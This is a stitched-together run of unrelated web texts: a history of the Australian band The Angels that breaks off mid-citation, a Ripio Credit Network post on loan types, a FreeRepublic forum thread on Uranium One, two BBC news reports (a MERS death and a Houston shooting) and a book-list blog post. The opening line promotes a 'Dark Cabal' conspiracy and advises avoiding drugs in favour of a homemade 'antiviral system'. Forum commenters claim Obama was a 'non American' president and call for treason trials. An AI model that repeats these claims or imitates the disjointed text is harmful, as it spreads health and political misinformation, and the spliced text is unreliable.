We can help take down the Dark Cabal by avoiding drugs, defeat any viral attack and scaremongering easily by knowing how to build our own comprehensive antiviral system. Find more about it here.The Angels are an Australian rock band which formed in Taperoo, a small beach side suburb in Adelaide in 1974 as The Keystone Angels by John Brewster on rhythm guitar and vocals, his brother Rick Brewster on lead guitar and vocals, and Bernard "Doc" Neeson on lead vocals and guitar. They were later joined by Graham "Buzz" Bidstrup on drums and vocals, and Chris Bailey on bass guitar and vocals. In 1981 Bidstrup was replaced on drums by Brent Eccles. Their studio albums on the Kent Music Report Albums Chart top 10 are No Exit (July 1979), Dark Room (June 1980), Night Attack (November 1981), Two Minute Warning (November 1984), Howling (October 1986) and Beyond Salvation (February 1990). Their top 20 singles are "No Secrets" (1980), "Into the Heat" (1981), "We Gotta Get out of This Place" (1987), "Am I Ever Gonna See Your Face Again" (live, 1988), "Let the Night Roll On" and "Dogs Are Talking" (both 1990).
In the international market, to avoid legal problems with similarly named acts, their records have been released under the names, Angel City and later The Angels from Angel City. The Angels have been cited by Guns N' Roses, and Seattle grunge bands Pearl Jam and Nirvana, as having influenced their music. Neeson left the group in 1999 due to spinal injuries sustained in a car accident and they disbanded in the following year. Subsequently, competing versions of the group performed using the Angels name, until April 2008 when the original 1970s line-up reformed for a series of tours until 2011, when Neeson left again. Alternative versions continued with new members.
The Angels were inducted into the ARIA Hall of Fame in October 1998 with the line-up of Bailey, John and Rick Brewster, Eccles and Neeson. Australian musicologist, Ian McFarlane, declared that "The Angels had a profound effect on the Australian live music scene of the late 1970s/early 1980s. [They] helped redefine the Australian pub rock tradition... [their] brand of no-frills, hard-driving boogie rock attracted pub goers in unprecedented numbers. In turn, The Angels' shows raised the standard expected of live music. After 20 years on the road, the band showed little sign of easing up on the hard rock fever."[1] Chris Bailey died on 4 April 2013, aged 62, after being diagnosed with throat cancer. Doc Neeson died on 4 June 2014, aged 67, of a brain tumour.
History [ edit ]
Early 1970s [ edit ]
In November 1970 future member of the Angels, John Brewster on guitar, banjo, harp, backing vocals and washboard, and his brother Rick on violin, washboard, jug, backing vocals and percussion formed the Moonshine Jug and String Band, an acoustic ensemble, in Adelaide.[1][2] Fellow members were Craig Holden on guitar, Bob Petchell on banjo and harp, and Pete Thorpe on tea chest bass, bass guitar, wash tub and backing vocals.[1][2] In 1971 they were joined by Belfast-born immigrant, Bernard "Doc" Neeson, on guitar and lead vocals (ex-the Innocents), an arts student and former Army sergeant, who already performed locally as Doc Talbot.[3] The folk band gigged at local university campuses and cafes.[1][3] Holden left in 1972.[2]
In 1973 Spencer Tregloan joined Moonshine Jug and String Band on banjo, kazoo, jug, tuba and backing vocals.[2] They released their debut four-track extended play, Keep You on the Move,[2] which made the top 5 in Adelaide.[1][3] It contained a cover version of Canned Heat's "On the Road Again" and three original tracks: one written by John, one by John and Rick, and one by Neeson.[4] It was followed in 1974 by a single, "That's All Right with Me".[5] Both releases were on the Sphere Organisation label owned by John Woodruff, who later became the Angels' talent manager for two decades.[1][3] In 2015 the group were inducted into the Adelaide Music Collective Hall of Fame.[6]
In mid-1974 Moonshine Jug and String Band changed their name to the Keystone Angels, with the line up of John Brewster on lead vocals and bass guitar, Rick on guitar, Neeson on bass guitar and vocals, Peter Christopolous (a.k.a. Charlie King) on drums and Laurie Lever on keyboards.[1][2] They had switched to electric instruments and began playing 1950s rock and roll on the pub circuit.[1][3] Rick later recalled "There was a cult following with The Jug Band but if we wanted any real success we had to start an electric band. So we threw ourselves in the deep end. I went from playing washboard to playing lead guitar. I hadn't even played an electric guitar before then!"[7]
During July and August 1974 they ran a series of ads in Go-Set, the national teen pop music magazine, announcing that "The Keystone Angles are coming".[8] Lever left during that year.[2] In January 1975 the remaining members performed, as a four-piece, at the Sunbury Pop Festival, then they supported AC/DC during a South Australian tour, and later that year they were the backing band for Chuck Berry.[1][3][9] The Keystone Angels issued a sole single, "Keep on Dancin'", on Sphere during that year.[1][2][3]
Late 1970s: First three albums [ edit ]
In 1976 the Angels signed a recording deal with the Albert Productions label,[1][3] upon the recommendation of Bon Scott and Malcolm Young (from AC/DC). The group dropped "Keystone" from their name and became simply, the Angels, and relocated to Sydney with the line-up of Neeson on lead vocals and bass guitar, King on drums, Rick on lead guitar and John Brewster on lead vocals and rhythm guitar.[1][2][3] According to Ian McFarlane, an Australian musicologist, the group "had toughened its sound into a unique brand of beefy hard rock."[1]
The Angels' first single, "Am I Ever Gonna See Your Face Again", was released in April 1976, which was produced by Vanda & Young.[1][2][3] It was co-written by the Brewsters and Neeson;[10] which is the first of three versions of that they released as singles during their career. They made their TV debut on national pop music show, Countdown. In August King was replaced by Graham "Buzz Throckman" Bidstrup on drums.[1][2] In January 1977 Chris Bailey (ex-Red Angel Panic, Headband) joined on bass guitar, which allowed Neeson to concentrate on lead vocals.[1][2] Bailey had also been a member of Mount Lofty Rangers, with Bon Scott, in 1974.[2]
The band's second single, "You're a Lady Now", was released in July 1977, which was followed a month later by their self-titled debut album, The Angels – also produced and recorded by Vanda & Young at Albert Studios, Sydney.[1][2][11] It included a re-recorded version of "Am I Ever Gonna See Your Face Again". Most of its ten tracks were co-written by Neeson and the Brewster brothers.[11] Neeson's work as front man allowed the band to develop an energetic and theatrical live presence; he typically appeared on stage as a wild extrovert, dressed in a dinner suit, and sometimes a bow tie, and shaking maracas. As a foil Rick remained motionless and wore sunglasses; he has stated that Beethoven convinced him not to move on stage.
Their second album, Face to Face, was released in June 1978, which reached No. 16 on the Kent Music Report Albums Chart in November and stayed on the charts for 79 weeks.[1][2][12] It was accredited as 4× platinum for shipment of 280,000 units.[1] The album was co-produced by the group and Mark Opitz, their sound engineer.[1][2][13] All tracks were co-credited to the Brewsters and Neeson.[13] McFarlane described it as a "watershed" release for both the group and Opitz.[1] At the 1978 TV Week King of Pop awards Peter Ledger won Best Australian Album Cover Design Award for his artwork.[14] In October 2010 Face to Face was listed in the book, 100 Best Australian Albums.[15]
By 1978 they "were Australia's highest paid band, attracting record crowds wherever they played. As the consummate frontman, the charismatic Doc Neeson injected a strong theatrical edge into the band's on-stage antics. The Angels were often seen as a punk/new wave outfit, yet the high energy sound, powerful guitar riffing and muscular yet supple rhythm section took the band beyond such easy categorisations."[1] Ed Nimmervoll of Howlspace website opined that the album "delivered a tough blend of punk and metal. The band brought it home on stage behind their theatrical lead singer, jumping and gesturing maniacally, highlighting the drama in the lyrics. In every way they were one of the most exciting bands in the country, and exhaustive touring brought the band a generation of loyal fans."[3]
Face to Face provided the band's first top 50 appearance on the Kent Music Report Singles Chart with "Take a Long Line", which peaked at No. 29.[1][12] David Crofts of The Canberra Times caught their local gig in October 1978, where they were supported by Midnight Oil, "The Angels have a more limited repertoire than Midnight Oil. What the band does might not be as creative but it is good. Very good... The band's raw rhythm is magnetic... one number that is vaguely reminiscent of Lou Reed, 'Coming Down' was my pick of their best act."[16] In November they supported David Bowie on his first Australian tour,[1][17] however Crofts felt that at their Canberra gig they "played disappointingly. They played for only 35 minutes, apparently without feeling what-so-ever... they weren't a patch on their performance at the ANU a month ago."[18] According to Neeson, "Bowie was fantastic. He treated us as his guests. He came down to our very first sound check and he offered us everything on stage in terms of lighting except for one special one that he wanted to keep."[17] To coincide with the support slot, the Angels issued their first extended play, After the Rain – The Tour, with three tracks.[1][2 |
, traditional credit services are not offering that many alternatives for these scenarios. Financial institutions usually offer limited options for restricted regions, so people are the ones who have to adapt to the institutions demands, and not the other way around.
To offer a real global credit solution, financial services should be able to adequate to each one of these scenarios.
Ripio Credit Network, a global peer-to-peer credit protocol based on smart contracts, will connect lenders and borrowers all over the world -regardless of currency- via RCN tokens (payment channel), adding the figure of the cosigner: a local network agent that will be able to gather the credit risk information and manage the collection of the borrower’s debt in case of a default.
We’ll now describe the different types of loans that will work within the RCN network, once the network is deployed to the RCN MainNet this November.
RCN loans will be settled under a combination of three different variables:
Type of repayment / amortization:
a. “Bullet” loan: one payment only (no installments).
b. Fixed / “French” loan: a fixed number of installments.
c. Variable loan: a percentage or fixed amount of variable installments.
2. Interest rate:
a. Fixed
b.Variable
c. Mixed
3. Type of cancellation:
a. Voidable
b. Non-voidable (note: the borrower has the chance to equal out the loan by repaying the total number of installments but not the balance).
RCN credit tickers
Following these variables, a credit ticker will be created to identify each type of credit loan and set a credit standard for future loans. Each ticker will include a set of parameters to identify different kind of loans and will be referenced like this:
RCN + Amortization + Rate + Cancellability
Each variable has a default value but it doesn’t need to be necessarily apparent. Here are some credit ticker examples:
RCNB (a “bullet” RCN loan): a loan with no amortization due to it’s single payment procedure. It has a fixed interest rate by default and also it’s non-voidable by default.
(a “bullet” RCN loan): a loan with no amortization due to it’s single payment procedure. It has a fixed interest rate by default and also it’s non-voidable by default. RCNF_ca (a fixed-installment RCN loan): a loan with a fixed number of installments (“french loan”). It has a variable interest rate by default and it’s voidable.
(a fixed-installment RCN loan): a loan with a fixed number of installments (“french loan”). It has a variable interest rate by default and it’s voidable. RCNF (a fixed-installment variable-rate RCN loan): a loan with a fixed number of installments (“french loan”). It has a variable interest rate but it’s non-voidable by default.
(a fixed-installment variable-rate RCN loan): a loan with a fixed number of installments (“french loan”). It has a variable interest rate but it’s non-voidable by default. RCNVG_ca (a variable-installment RCN loan in geometric progression): a loan in which each installment is a fixed percentage of the previous one. It has a fixed interest rate by default and it’s voidable.
(a variable-installment RCN loan in geometric progression): a loan in which each installment is a fixed percentage of the previous one. It has a fixed interest rate by default and it’s voidable. RCNVA (a variable-installment RCN loan in arithmetic progression): a loan in which each installment is equal to the previous one plus an extra fixed amount. It has a fixed interest rate by default but it’s non-voidable by default.
The first RCN credit exchange, that will be launched next week by Ripio in Argentina, will then manage the loan characteristics according to:
Credit ticker : Indicating the type of credit loan.
: Indicating the type of credit loan. Loan parameters : Indicating the amount, interest rates, repayment frequency, etc.
: Indicating the amount, interest rates, repayment frequency, etc. Borrower : Setting the country, loan destination, credit scoring, type of currency, etc.
: Setting the country, loan destination, credit scoring, type of currency, etc. Providers : Setting the wallet provider, ID verifier, scoring agent.
: Setting the wallet provider, ID verifier, scoring agent. Cosignature: Indicating the risk degree assigned to the cosigner agent.
By gathering all this information and adding it to its smart contracts, the RCN protocol helps to diversify the credit risk and handle specific tools for the cosigner to manage the credit collection in its jurisdiction.
Ripio will implement the RCN protocol as its first use case to provide guidelines on how to start to interact with it, so future agents could use it as an example.
Detailed RCN loan use cases
Pedro is a Mexican citizen who works in construction receives a salary per fortnight. He got used to going to the supermarket once every 15 days, he gives money to his two children every 15 days, who also know that once a fortnight they have cash to go out.
In this context, Pedro wants to change his car and needs credit. He would prefer a fortnightly loan but his bank just offers monthly loans so he ends up taking one.
With RCN, Pedro could opt for 6-month loan, paying a fee in every fortnight.
* amount: MXN 120.000, term: 6 months, fee: annual 10%, repayment frequency: 15 days.
2. On the other side of the world, Vinh (a Vietnamese entrepreneur who needs money to start a new project) knows that in only 3 months his project will start to be profitable. Therefore, he decides to take a monthly loan, even though he knows that during the first months it will be very difficult to make ends meet.
Vinh could opt for a “bullet” credit, using the loan to carry out his project and repay the whole loan after 3 months.
* amount: VND 615.000, fee: annual 14%, term: 3 months.
Or else, Vinh could opt for a fixed-rate loan with a deferral of 3 months. By doing this, he would still have a “grace period” and then begin to repay in fixed installments.
* amount: VND 615.000, fee: annual 14%, term: 6 months, deferral: 3 months.
3. Bruno is Argentinian young graduate who lives under an inflationary context, has some savings and wants to buy his first apartment. The bank offers him a 12-year loan as long as the installments don’t exceed his monthly income by 40%. Bruno knows that his monthly income is good but also knows that it will increase according to the country’s inflation rates. However, given his current income, the maximum amount offered by the bank is not enough to purchase his new home.
Bruno could overcome inflation by taking a credit in increasing installments under a geometric progression at a constant rate. This way, fees would maintain a more or less constant relationship with his income and the rest of his expenses.
The last installments of his loan won’t be that modest but, as a counterpart, the first ones would be much lower.
* amount: ARS 400.000, term: 6 years, rate: annual 20%, annual installment ratio: 15%.
Ripio Credit Network seeks to improve lending conditions for both lenders and borrowers all over the world and rise above the solutions offered by the traditional credit system and peer-to-peer loan services alike.Skip to comments.
Dobbs: Uranium One May Turn Out to Be the Biggest Scandal in American Political History
Gateway Pundit ^ | 10/21/17 | Cristina Laila
Posted on by markomalley
Fox News Lou Dobbs spoke with Clinton Cash author Peter Schweizer Friday evening about the Uranium One scandal which involves the entire Deep State criminal cabal.
Dobbs said, There is no clear statement as to why we would give up, for any reason, any price, 20% of our uranium in this country. And that is a question that is left open still unanswered. and secondly, have you ever heard of anyone putting $145 million, at one moment, into the hands of the Clinton foundation? And the answer is, of course not. These questions most basic and fundamental, were armed by the very committee made up of the very agencies, departments, and individuals responsible for national security. this, this is the biggest Obama scandal. I think it may well turn out to be the biggest scandal in American political history.
As reported earlier, prior to the Obama administration approving the very controversial deal in 2010 giving Russia 20% of Americas Uranium, the FBI had evidence that Russian nuclear industry officials were involved in bribery, kickbacks, extortion and money laundering in order to benefit Vladimir Putin, says a report by The Hill.
From Tuesdays report we found out that the investigation was supervised by then-U.S. Attorney Rod Rosenstein, who is now President Trumps Deputy Attorney General, and then-Assistant FBI Director Andrew McCabe, who is now the deputy FBI director under Trump.
Sara Carter of Circa News interviewed Victoria Toensing, a lawyer for the FBI informant who said her client is not only afraid of the Russian people, but he is afraid of the US government because of the threats the Obama administration made against him.
THREATS??
According to Circa News, the money exchanges played out like a Hollywood movie:
The bribery schemes included delivering thousands of dollars in yellow envelopes, laundering tens of thousands of dollars in briefcases or wiring thousands of dollars through shell companies through the Seychelle Islands, Latvia, Cyprus and Switzerland to name a few.
Loretta Lynch also blocked the FBI informant from testifying to Congress.
Lou Dobbs is correct. This may turn out to be the biggest scandal in American political history. Its not just the pay-to-play, there are national security problems as well.
Russia has reportedly violated their agreement not to export the Uranium according to Schweizer so who knows if the nuclear material has ended up in the hands of terrorists.
Video/transcribed via Breitbart:
TOPICS:
Crime/Corruption
Government
KEYWORDS:
dobbs
schweizer
uraniumone
To: markomalley
This will go way beyond just money. This is about a foreign power using agents to recruit people in the highest postions of our government. Anyone doubting Sessions is flat out wrong. Mark my words.
by 41 posted onby PJammers (Quis custodiet ipsos custodes?)
To: markomalley
WHAT is our country? It seems to have two distinct shapes. One involves our Founding documents, the laws based on same, the thinking conservative populace, and our current President. The other takes into account most of our recent Presidents, the media, globalist wealth outside our country, and the media-following Americans. The Russian Uranium Deal Seems to please this second America, while it is abject treason to the first. How can we reconcile this?
To: markomalley
Lock her up. And when that's settled...
To: hal ogen
I pray to live long enough to see the immense national shame that we elected a non American as President twice and never even asked for ID.
To: vette6387
Sessions goes out of his way to give Rosenstein excessive verbal praise which would seem to indicate he has no intention of implementing the smart plan you suggest. Which leaves the nation with an AG who obstructs justice, IMO.
by 45 posted onby Kalamata (Inside Every Liberal is a Totalitarian Screaming to Get Out - D. Horowitz)
To: markomalley
There is no clear statement as to why we would give up, for any reason, any price, 20% of our uranium in this country. It was a twofer for the Clintons and their Deep State comrades -- big money, and another chance to weaken the U.S.
To: PIF
Where is your evidence that Sessions is somehow involved? If there is a way to get the Clinton's before a grand jury without the country coming apart....think about that for a moment...bill and hill have made dozens of elected politicians and CEO's complicit in selling out their country....I honestly think 80% of citizens would cheer such a development on. Comey and Muller are just as dangerous to America as the Clinton's. The Trump administration fights an up-hill battle every day...stay on top of your elected about this...regardless of party.
To: Just mythoughts
Funny how so many overlook Sessions near total inaction on this an several other matters, assuming he’s a good guy and not part of the swamp, then rise to defend the indefensible.
by 48 posted onby PIF (They came for me and mine... now it is your turn...)
To: markomalley
And Mueller's involved, which is why he's been after Trump like an insane person.
by 49 posted onby Vision (If you can't respect the Anthem, then it's time for you to find another home.)
To: PIF
Funny how so many overlook Sessions near total inaction on this an several other matters, assuming hes a good guy and not part of the swamp, then rise to defend the indefensible. The'real' funny part is how so many expect Sessions to act like a political hack liberal... How many 'honest' lawyers do you think the Obama administration employed in their 'just-us' department... I have read that there are 50 thousand employees in the Justice department... Haste makes waste... 'law and order' must first be restored at the Justice department... Furthermore, we have no idea how many 'immunity' deals were made by the 'king' Obama, before Sessions took office. Pay attention to when liberals scream like stuck pigs... diverting the media attention to some made up 'crisis'... Wonder what ticked Hillry off so much she hurt her toe/ankle in the UK... Liberals are not happy now...
To: bigbob
You repeatedly seem to act as Sessions PR guy defending his inaction at every turn. Do you have any evidence at all that Sessions has done anything to investigate the numerous obama clinton scandals since taking office 9 months ago? Just one tidbit of evidence? Has there been one teeny tiny leak that there is one grand jury investigation? Has even one person let it out that they were interviewed by the FBI about a clinton scandal since sessions took office? The answer to all of these rational questions is NO! The bottom line is that sessions is doing absoultely nothing, just like he allegedly told jason chaffets that he was going to do. Nothing.
To: Kalamata
“Sessions goes out of his way to give Rosenstein excessive verbal praise which would seem to indicate he has no intention of implementing the smart plan you suggest. Which leaves the nation with an AG who obstructs justice, IMO.” So in actuality, Sessions is a Judah’s Goat for the President sent to him by the US Senate.
by 52 posted onby vette6387 (LOCK HER UP! COMEY TOO.)
To: markomalley
Dobbs: Uranium One May Turn Out to Be the Biggest Scandal in American Political History Correction Lou... "ONLY if people are indicted and prosecuted".. otherwise, it's just a story to tell.
To: vette6387
The idea that the AG cant do what he wants to do with those under his direct control is simply ludicrous.
Ludicrous bordering on criminal.
by 54 posted onby samtheman (As an oil exporter, why would the Russians prefer Trump to Hillary? (Get it or be stupid.))
To: samtheman
When AG Sessions recused himself from Mueller’s Russian investigation — was this Uranium scandal included? After all it does involve the word “Russian” which is what Mueller will claim.
To: vette6387
>>So in actuality, Sessions is a Judahs Goat for the President sent to him by the US Senate.
*****************************************************
Yep.
by 56 posted onby Kalamata (Inside Every Liberal is a Totalitarian Screaming to Get Out - D. Horowitz)
To: markomalley
Clinton’s in it for the money Obama in it for anything to cripple the country both should be tried for treason.
by 57 posted onby Vaduz (women and children to be impacted the most.)
To: markomalley
Are there enough prison cells at GITMO for all the scumbag traitors who will SURELY be sentenced to multiple life terms?
by 58 posted onby Taxman (Replace the income tax with the FAIRtax and abolish the IRS!)
To: markomalley
A scandal is diddling an intern in the oval office. This is collusion or conspiracy of high treason. The entire Obama ‘admin’ was a treason regime. Marxists, maoists and muslims throughout its ranks. Thank goodness we have beaky buzzard Jeff Sessions at the AG helm or America could really be screwed /s
To: markomalley
This subject matter would make an excellent Hollywood movie! Waiting.......
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FreeRepublic.com is powered by software copyright 2000-2008 John RobinsonImage copyright AFP Image caption The new virus emerged in 2012
A patient infected with the novel coronavirus has died in France, according to the health ministry.
The virus, which is similar to those which cause Sars and the common cold, emerged last year.
Out of 44 confirmed cases around the world, 23 people have now died with most infections linked to travel to the Middle East.
The virus causes pneumonia and, sometimes, organ failure. Most patients have had other health problems.
The 65-year-old, who had been travelling in Dubai, died in hospital on Tuesday.
Another patient who shared a hospital room with the man has caught the infection.
Concern?
Cases have been reported in Jordan, Qatar, Saudi Arabia, the United Arab Emirates, France, Germany, Tunisia and the UK.
Half of the 44 cases reported have been in Saudi Arabia.
In a statement earlier in May the World Health Organization said: "The greatest global concern, however, is about the potential for this new virus to spread.
"This is partly because the virus has already caused severe disease in multiple countries, although in small numbers, and has persisted in the [Middle East] region since 2012.
"Of most concern, however, is the fact that the different clusters seen in multiple countries increasingly support the hypothesis that when there is close contact this novel coronavirus can transmit from person to person."
In February, a patient died in a hospital in Birmingham, in the UK, after three members of the same family became infected.
It is thought a family member had picked up the virus while travelling to the Middle East and Pakistan.
Prof Ian Jones, a virologist at the University of Reading, said the death was tragic, but the risks of infection were low.
"It is very rare and apart from the unusual circumstances of very close containment with already hospitalised persons, it does not seem to transfer among people.
"As a result, the overall risk remains very low and the most pressing need is to identify where the virus is coming from so that these occasional infections can be prevented."Media playback is unsupported on your device Media caption Houston shooter: 'Lawyer' gunman dead after opening fire at mall
A "disgruntled" Porsche-driving lawyer wearing Nazi emblems has been named by police as the gunman who opened fire on a Texas street, injuring nine people.
Nathan DeSai, 46, began firing apparently indiscriminately at people driving by his apartment building in southwest Houston on Monday morning.
DeSai was killed during a shootout with police. Six people were shot and three had eye injuries from flying glass.
Police also recovered 2,600 rounds of live ammunition in his sports car.
A bomb squad search of the suspect's black Porsche convertible, which was parked at the scene, also found a semi-automatic rifle and a knife.
Image copyright AP Image caption Alan Wakim was injured by flying glass after bullets hit his car. Here, his shocked wife, Jennifer Molleda, looks at his blood-specked face
Officials said DeSai was wearing historic military attire with Nazi emblems and used a semi-automatic handgun during the attack.
Authorities also found a notebook with a Nazi symbol and recovered 75 shell casings at the scene.
The guns were purchased legally and the suspect had a licence to carry concealed weapons, police said.
Image copyright AP Image caption Mr Wakim shows his wife where two bullets entered the windscreen of his Mustang in Monday's shooting in Houston
Police say they are investigating the gunman's apartment and his social media accounts to try to establish a motive.
They found other historic military paraphernalia in his apartment, dating back to the US Civil War.
The city's mayor, Sylvester Turner, told reporters: "The motivation appears to be a lawyer whose relationship with his law firm went bad."
Image copyright Twitter Image caption @Fox26Houston tweeted a photo of Nathan DeSai
Prakash DeSai, the suspect's father, told an ABC Houston affiliate that his son was "upset about his law practice not going well" and financial problems.
DeSai graduated from University of Tulsa's law school in 1998.
He opened a small law firm with his former partner, Ken McDaniel, but the pair were forced to close it about six months ago, according to Mr McDaniel.If you’re a human and you have a brain, then you probably like using your brain. And if you like using your brain, then you love having those epiphany moments where your hair blows back and you go “Whoa” like Keanu Reeves in The Matrix when he learns Kung Fu from a USB drive in his neck.
I know it’s not what the cool kids like to do, but I like to read non-fiction. Lots of non-fiction. And my favorite moments reading non-fiction are when a book bitchslaps my brain and reconfigures my entire understanding of reality and my place within it.
I love that. It’s like a mind orgasm.
I get a lot of emails asking me for book recommendations. I never know what the hell to say because so many of the books that have influenced me have done so not because they’re so good or brilliant, but mostly because they addressed the issues I was going through at the time I was reading them.
So instead of divulging what my favorite books are, I’ll leave you with something better: seven of the most mind-fucking, reality-reshaping, Keanu Reeves “Whoa” inspiring books that I’ve ever read.
In no particular order…
Stumbling on Happiness
by Daniel Gilbert
What It’s About: Stumbling on Happiness is like the red-headed stepchild of happiness books. It doesn’t fit in with the rest because it basically tries to convince you that you don’t even know what the hell makes you happy in the first place, so why stress out about it?
Gilbert is a famous Harvard psychologist who has a knack for coming up with zany experiments that show just how flawed and biased the human mind is. In the book, he shows you time and again that as humans, we inaccurately judge, among other things, what made us happy in the past, what will make us happy in the future, and even what is making us happy right at this moment.
In fact, decades of Gilbert’s research on happiness all points to the same unsettling fact: happiness has little to do with what happens to us in our lives, and more to do with how we end up choosing to see things.
Gilbert’s theory is that we each have a “psychological immune system,” basically a bullshit generator where our minds explain away our past experiences, our future projections and our current situations in such a way that we always maintain a baseline level of mild happiness.1 And it’s when this “immune system” fails that we fall into prolonged depression and/or existential crises.
Notable Quotes:
“We treat our future selves as though they were our children, spending most of the hours of most of our days constructing tomorrows that we hope will make them happy… But our temporal progeny are often thankless. We toil and sweat to give them just what we think they will like, and they quit their jobs, grow their hair, move to or from San Francisco, and wonder how we could ever have been stupid enough to think they’d like that. We fail to achieve the accolades and rewards that we consider crucial to their well-being, and they end up thanking God that things didn’t work out according to our shortsighted, misguided plan.”
“Economies thrive when individuals strive, but because individuals will only strive for their own happiness, it is essential that they mistakenly believe that producing and consuming are routes to personal well-being.”
Bonus Points For: Being perhaps the wittiest and best-written psychology book you’ll ever read.
If This Book Could Be Summarized in An Image, That Image Would Be: A dog named “Humanity” endlessly chasing its own tail with a big slobbery smile on its face.
Read This Book If…
…you enjoy Harvard professors who reference The Beatles in every chapter and make jokes about quadriplegics.
…you are interested in behavioral economics and irrational decision-making.
…you’ve always had a hunch that you are completely full of shit but would like 400 pages of psychological research to confirm it for you.
…you want to read a book that explains happiness without mythologizing it or worshipping it.
On The Genealogy of Morals
by Friedrich Nietzsche
What It’s About: Hidden beneath the bombastic prose, the angry rhetoric, the shameless blasphemy and a mustache the size of a small child’s leg, Nietzsche wrote with a cold and stark logic. On The Genealogy of Morals, perhaps his shortest and most influential work, was starkest of all. In three essays totaling around 100 pages, he lays out the following:
In any population, you are going to have a group of people who are more talented/gifted/intelligent than average. Let’s call them The Strong. You are also going to have a group of people who are less talented/gifted/intelligent than average. Let’s call them The Weak.2 The Strong will naturally accrue the power in society for no other reason than they are more capable and talented than the others. Because The Strong won their greater power and influence through outsmarting or outperforming others, they will come to adopt ethical beliefs that justify their position: that might makes right, that they are entitled to their privileged position, that they earned what is theirs. Nietzsche calls this “Master Morality.” Because The Weak lost their power and influence by being outsmarted and outperformed, they will come to adopt ethical beliefs that justify their position: that people deserve aid and charity, that one should give away one’s possessions to the less fortunate, that you should live for others and not yourself. Nietzsche calls this “Slave Morality.” Master/Slave Moralities have been in a kind of tension in every society for all of recorded history. Many political/social conflicts are side effects of the struggle between Master and Slave Moralities. Nietzsche believed that the ideas of guilt, punishment and a “bad conscience” are all culturally constructed and used by The Weak to chip away at the dominance and power of The Strong. He also believed that Slave Morality is just as capable of corrupting and oppressing a society as Master Morality. He used Christianity as his primary example of this. Nietzsche believed that Slave Morality stifled man’s greatest characteristics: creativity, innovation, ambition, and even happiness itself.
Notable Quotes:
“Above all, there is no exception to this rule: that the idea of political superiority always resolves itself into the idea of psychological superiority.”
“Without cruelty, there is no festival.”3
Bonus Points For: Claiming that the weak people had to invent God so that they could believe their suffering actually meant something. Nietzsche was a pretty hardcore dude.
If This Book Could Be Summarized in An Image, That Image Would Be: BDSM porn involving a guy with a really, really bushy mustache… and syphilis.4
Read This Book If…
…you’re the kind of sicko like me who finds obtuse 19th-century German philosophy to be excellent beach reading.
…you won’t be offended if some angry German dude rhetorically punches Jesus Christ in the vagina and calls your God a sissy over and over again.
…you like mustaches.
Antifragile: Things That Gain From Disorder
by Nassim Taleb
What It’s About: Before I explain a few of the brilliant ideas in this book, I need to get something off my chest: Taleb sounds like a pompous dick. If he’s trolling the world with his writing style, he’s doing a good job, because some passages are almost impossible to get through without either rolling your eyes at him or shoving the book through a paper shredder. If he really is this arrogant, well, then let’s just say he won’t be invited to any of my playdates anytime soon.
Taleb has a handful of amazing ideas. I’m talking potentially life-changing, world-affecting ideas. These ideas can be explained well in about 50 pages. The other 450 pages are mostly him trying to prove how cool and cultured he is while explaining how much smarter he is than the following groups of people: academics, politicians, Nobel Prize winners, Wall Street analysts, economists, journalists, statisticians, historians, soccer moms, teachers, anybody who uses the bell curve, anybody in the social sciences, and anyone who disagrees with him.
So what are his handful of earth-shattering ideas in Antifragile? Well, here’s the starting point:
Often the most influential events in history are, by definition, the least anticipated. These are called “Black Swan” events.5 As humans, we are inherently biased against noticing both the number of random events in our lives and the impact these random events have on us. That due to the exponential scaling of technology, Black Swan events are becoming more common and influential than ever before. Therefore, we should build up systems (and ourselves) to be “antifragile,” that is, to construct our lives and our societies in such a way as to benefit from major unanticipated events.
If that tweaks your nipples and you don’t mind putting up with pages upon pages of pretentious meandering, then go nuts, Taleb is for you.
Notable Quotes:
“Antifragility is beyond resilience or robustness. The resilient resists shocks and stays the same; the antifragile gets better.”
“The irony of the process of thought control: the more energy you put into trying to control your ideas and what you think about, the more your ideas end up controlling you.”
“Difficulty is what wakes up the genius.”
Bonus Points For: Being a totally insufferable asshole. And wrong about tons of his analogies and examples. But still brilliant somehow, despite himself.
If This Book Could Be Summarized in An Image, That Image Would Be: Some fat, rich bald guy boring you to death over cappuccinos with inane stories about living in France and smoking skinny cigarettes with Umberto Eco while you stab yourself in the face with a sugar spoon repeatedly trying to make it all stop.
Read This Book If…
…you like feeling like you’re smarter than everybody even though you’re not.
…you want to have your conception of “success” and “progress” completely flipped on its head.
…you want to read a book that while consisting of maybe 60% bullshit, will have you still thinking about the ideas years later.
The True Believer
by Eric Hoffer
What It’s About: The True Believer discusses why people give in to fanaticism, fundamentalism, or extremist ideologies.
The book is perhaps the most to-the-point and non-bullshitty philosophical work I’ve ever read. And the power of Hoffer’s short sentences can take your breath away. See below.
Notable Quotes:
“The game of history is usually played by the best and the worst over the heads of the majority in the middle.”
“The less justified a man is in claiming excellence for his own self, the more ready is he to claim all excellence for his nation, his religion, his race or his holy cause.”
“Freedom aggravates at least as much as it alleviates frustration. Freedom of choice places the whole blame of failure on the shoulders of the individual. And as freedom encourages a multiplicity of attempts, it unavoidably multiplies failure.”
Bonus Points For: It was apparently one of President Eisenhower’s favorite books.
If This Book Could Be Summarized in An Image, That Image Would Be: An open hand, heading straight for the side of your face.
Read This Book If…
…you want to know why people give up their identities for some insane cause.
…you wonder how war and revolutions are even possible.
…you want to read something smart but don’t want to wade through hundreds of pages of gibberish and academic jargon to understand it.
Civilization and Its Discontents
by Sigmund Freud
What It’s About: Freud was an academic sensation at the beginning of the 20th century. He had invented psychoanalysis, brought the science of psychology to the mainstream, and was highly regarded in intellectual circles around Europe. Then World War I broke out, and destroyed, well, just about everything. Freud was deeply moved by the devastation and fell into a deep depression and secluded himself for much of the 1920s. Civilization and Its Discontents was the result of this depression.
The book makes one simple argument: that humans have deep, animalistic instincts to eat, kill, or fuck everything. Freud argued that civilization could only arise when enough humans learned to repress these deeper and baser urges, to push them into the unconscious where (according to his model) they would fester and ultimately generate all sorts of neuroses.
Freud basically came to the conclusion that as humans, we had one of two shitty options in life: 1) repress all of our basic instincts to maintain some semblance of a safe and cooperative civilization, thus making ourselves miserable and neurotic or 2) to let them all out and let shit hit the fan.
To Freud, Hitler and World War II just proved his point a few years later. And as an Austrian Jew, he ran for the hills. The hills being London, of course. He lived out the last years of his life in a city being bombed into oblivion.
Notable Quotes:
“It is impossible to overlook the extent to which civilization is built up upon a renunciation of instinct.”
“A love that does not discriminate seems to me to forfeit a part of its own value, by doing an injustice to its object.”
Bonus Points For: Basically arguing that we’re all fucked and there’s no hope for any of us. And doing it convincingly.
If This Book Could Be Summarized in An Image, That Image Would Be: The Eye of Sauron overlooking hordes of his minions advancing on the kingdom of Gondor as the darkness consumes the — oh wait, wrong book.
